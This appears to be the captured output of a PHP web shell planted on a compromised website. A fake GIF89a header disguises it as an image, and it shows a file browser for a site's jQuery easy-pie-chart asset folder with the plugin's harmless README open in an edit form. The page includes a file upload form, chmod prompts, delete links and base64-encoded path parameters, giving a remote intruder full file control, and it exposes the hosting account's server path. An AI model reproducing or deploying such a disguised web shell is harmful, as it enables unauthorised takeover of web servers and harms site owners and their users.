GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Readme.md<form method=post action="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA%3D%3D&f=UmVhZG1lLm1k"><input name="f" value="Readme.md"><textarea name="t">easy pie chart
==============

Easy pie chart is a jQuery plugin that uses the canvas element to render simple pie charts for single values.
These charts are highly customizable, very easy to implement and **scale to the resolution of the display of the client to provide sharp charts even on retina displays**.

![](https://github.com/rendro/easy-pie-chart/raw/master/img/easy-pie-chart.png)

Get started
-----------

To use the easy pie chart plugin you need to load the current version of jQuery (testet with 1.7.2) and the source (css+js) of the plugin.
Just add the following lines to the `head` of your website:

    &lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js&quot;&gt;&lt;/script&gt;
    &lt;script type=&quot;text/javascript&quot; src=&quot;/path/to/jquery.easy-pie-chart.js&quot;&gt;&lt;/script&gt;

    &lt;link rel=&quot;stylesheet&quot;type=&quot;text/css&quot; href=&quot;/path/to/jquery.easy-pie-chart.css&quot;&gt;

The second step is to add a element to your site to represent chart and add the `data-percent` attribute with the percent number the pie chart should have:

    &lt;div class=&quot;chart&quot; data-percent=&quot;73&quot;&gt;73%&lt;/div&gt;

Finally you have to initialize the plugin with your desired configuration:

    &lt;script type=&quot;text/javascript&quot;&gt;
    $(function() {
        $('.chart').easyPieChart({
            //your configuration goes here
        });
    });
    &lt;/script&gt;

Configuration parameter
-----------------------

You can pass a set of these options to the initialize function to set a custom behaviour and look for the plugin.

&lt;table&gt;
    &lt;tr&gt;
        &lt;th&gt;Property (Type)&lt;/th&gt;
        &lt;th&gt;Default&lt;/th&gt;
        &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;barColor&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;#ef1e25&lt;/td&gt;
        &lt;td&gt;The color of the curcular bar. You can pass either a css valid color string like rgb, rgba hex or string colors. But you can also pass a function that accepts the current percentage as a value to return a dynamically generated color.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;trackColor&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;#f2f2f2&lt;/td&gt;
        &lt;td&gt;The color of the track for the bar, false to disable rendering.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;scaleColor&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;#dfe0e0&lt;/td&gt;
        &lt;td&gt;The color of the scale lines, false to disable rendering.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;lineCap&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;round&lt;/td&gt;
        &lt;td&gt;Defines how the ending of the bar line looks like. Possible values are: &lt;code&gt;butt&lt;/code&gt;, &lt;code&gt;round&lt;/code&gt; and &lt;code&gt;square&lt;/code&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;lineWidth&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;3&lt;/td&gt;
        &lt;td&gt;Width of the bar line in px.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;size&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;110&lt;/td&gt;
        &lt;td&gt;Size of the pie chart in px. It will always be a square.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;animate&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;false&lt;/td&gt;
        &lt;td&gt;Time in milliseconds for a eased animation of the bar growing, or false to deactivate.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;onStart&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;$.noop&lt;/td&gt;
        &lt;td&gt;Callback function that is called at the start of any animation (only if animate is not false).&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;&lt;strong&gt;onStop&lt;/strong&gt;&lt;/td&gt;
        &lt;td&gt;$.noop&lt;/td&gt;
        &lt;td&gt;Callback function that is called at the end of any animation (only if animate is not false).&lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;


Public plugin methods
---------------------

If you want to update the current percentage of the a pie chart, you can call the `update` method. The instance of the plugin is saved in the jQuery-data.

    &lt;script type=&quot;text/javascript&quot;&gt;
    $(function() {
        //create instance
        $('.chart').easyPieChart({
            animate: 2000
        });
        //update instance after 5 sec
        setTimeout(function() {
            $('.chart').data('easyPieChart').update(40);
        }, 5000);
    });
    &lt;/script&gt;

Credits
-------

Thanks to [Rafal Bromirski](http://www.paranoida.com/) for making [this dribble shot](http://drbl.in/ezuc) which inspired me and [Philip Thrasher](http://philipthrasher.com/) for his [CoffeeScript jQuery boilerplate](https://github.com/pthrasher/coffee-plate)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWw=">/home/mktssoci/public_html</a><hr>curdir: /home/mktssoci/public_html/Admin/assets/jquery-easy-pie-chart<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>167</td></tr><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRz"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>150</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&x=TWFrZWZpbGU=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=TWFrZWZpbGU="/>Makefile</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=TWFrZWZpbGU=&c=`+btoa(c):0" value="0644"></td><td>163</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&x=UmVhZG1lLm1k">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=UmVhZG1lLm1k"/>Readme.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=UmVhZG1lLm1k&c=`+btoa(c):0" value="0644"></td><td>4217</td></tr><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydC9leGFtcGxlcw=="/>examples</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=ZXhhbXBsZXM=&c=`+btoa(c):0" value="0755"></td><td>60</td></tr><tr><td></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydC9pbWc="/>img</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=aW1n&c=`+btoa(c):0" value="0755"></td><td>32</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&x=anF1ZXJ5LmVhc3ktcGllLWNoYXJ0LmNvZmZlZQ==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=anF1ZXJ5LmVhc3ktcGllLWNoYXJ0LmNvZmZlZQ=="/>jquery.easy-pie-chart.coffee</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=anF1ZXJ5LmVhc3ktcGllLWNoYXJ0LmNvZmZlZQ==&c=`+btoa(c):0" value="0644"></td><td>4704</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&x=anF1ZXJ5LmVhc3ktcGllLWNoYXJ0LmNzcw==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=anF1ZXJ5LmVhc3ktcGllLWNoYXJ0LmNzcw=="/>jquery.easy-pie-chart.css</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=anF1ZXJ5LmVhc3ktcGllLWNoYXJ0LmNzcw==&c=`+btoa(c):0" value="0644"></td><td>141</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&x=anF1ZXJ5LmVhc3ktcGllLWNoYXJ0Lmpz">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=anF1ZXJ5LmVhc3ktcGllLWNoYXJ0Lmpz"/>jquery.easy-pie-chart.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvcHVibGljX2h0bWwvQWRtaW4vYXNzZXRzL2pxdWVyeS1lYXN5LXBpZS1jaGFydA==&f=anF1ZXJ5LmVhc3ktcGllLWNoYXJ0Lmpz&c=`+btoa(c):0" value="0644"></td><td>6372</td></tr></table>